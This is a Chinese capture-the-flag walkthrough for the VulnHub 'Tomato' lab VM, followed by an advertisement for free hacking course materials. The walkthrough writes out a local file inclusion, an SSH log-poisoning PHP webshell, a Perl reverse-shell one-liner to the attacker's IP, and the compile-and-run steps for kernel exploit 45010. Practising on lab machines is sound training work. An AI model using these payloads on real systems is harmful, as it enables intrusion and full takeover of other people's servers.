靶机地址:
https://download.vulnhub.com/tomato/Tomato.ova
内容简介:
主机发现
端口扫描
路径爬取
源码分析
文件包含
写入日志
内核漏洞枚举
本地提权
滑至文末,获取“searchall”下载链接!
1.1 主机发现
arp-scan -l
1.2 端口扫描
nmap -p- 192.168.112.134
nmap -p21,80,2211,8888 -sC -sV 192.168.112.134
1.3 路径爬取
dirsearch -u 192.168.112.134 -w /usr/share/wordlists/dirb/common.txt
发现页面
http://192.168.112.134/antibot_image/antibots/info.php
存在文件包含
1.4 源码分析+文件包含
经源码分析 </?php include $_GET[‘image’];
image参数 存在 文件包含
view-source:http://192.168.112.134/antibot_image/antibots/info.php?image=/etc/passwd
本地文件包含发现账号tomcat
远程文件包含功能通过info.php发现已经关闭
1.5 写入日志
view-source:http://192.168.112.134/antibot_image/antibots/info.php?image=/var/log/auth.log
发现存在ubuntu系统默认写入身份认证文件路径
/var/log/auth.log
尝试登录 ssh操作后会写入身份认证日志文件
ssh aaaaaaaaaaaaaaaaa@192.168.112.134 -p 2211
同样的在日志文件中确实发现了存在相关记录
写入一句话木马
ssh '<?php echo system($_GET["cmd"]); ?>'@192.168.112.134 -p 2211
并没有一句话木马,脚本已经被加载
view-source:http://192.168.112.134/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=id
写入成功!
1.6 反弹shell
view-source:http://192.168.112.134/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=which%20perl
直接反弹shell
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.112.128:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
1.7 内核漏洞枚举
sudo apt search linux-exploit``linux-exploit-suggester``ls /usr/share/linux-exploit-suggester``cp /usr/share/linux-exploit-suggester/linux-exploit-suggester.sh .
linux-exploit-suggester可以用来枚举内核漏洞
利用nc传文件
mv linux-exploit-suggester.sh les.sh``nc 192.168.112.134 4444 < les.sh -w 1``nc -nvlp 4444 > les.sh` `chmod +x les.sh``./les.sh
传输成功
利用此漏洞成功
发现漏洞号为45010搜索此漏洞,gcc编译,传到靶机
searchsploit 45010``cp /usr/share/exploitdb/exploits/linux/local/45010.c .``gcc 45010.c -o exp``nc -lvnp 4444 > exp``nc 192.168.112.134 4444 < exp``chmod +x exp``./exp
成功!!!
注:如有侵权请后台联系进行删除
觉得内容不错,请点一下"赞"和"在看"
点击上方公众号
关注我们
往期精彩
`黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取